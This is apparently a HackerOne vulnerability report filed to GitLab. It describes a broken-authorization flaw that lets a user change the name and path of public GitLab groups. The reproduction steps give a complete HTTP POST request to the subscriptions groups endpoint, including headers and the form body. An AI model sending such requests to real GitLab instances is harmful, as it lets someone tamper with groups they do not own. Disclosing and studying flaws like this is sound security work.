A user can change the name and path of some public GitLab groups

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HackerOne report #2035687 by zeb0x01 on 2023-06-23, assigned to @ottilia_westerlund:

Report | Attachments | How To Reproduce

Report

Summary

The following vulnerability allows an attacker to change a public gitlab groups name by just a POST request.

Steps to reproduce

1. Send the following request with cookies.

POST /-/subscriptions/groups/<GROUP_NAME> HTTP/2  
Host: gitlab.com  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/-/subscriptions/groups/gitlab-org  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 210  
Origin: https://gitlab.com  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
Te: trailers

_method=patch&authenticity_token=[REDACTED]&new_user=true&group%5Bname%5D=<group_name>&group%5Bpath%5D=<group_path>&group%5Bvisibility_level%5D=20  

Impact

Unauthorized access / change leading to change in group name of any public group

Relevant logs and/or screenshots

Impact

Unauthorized access / change leading to change in group name of any public group

Attachments

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How To Reproduce

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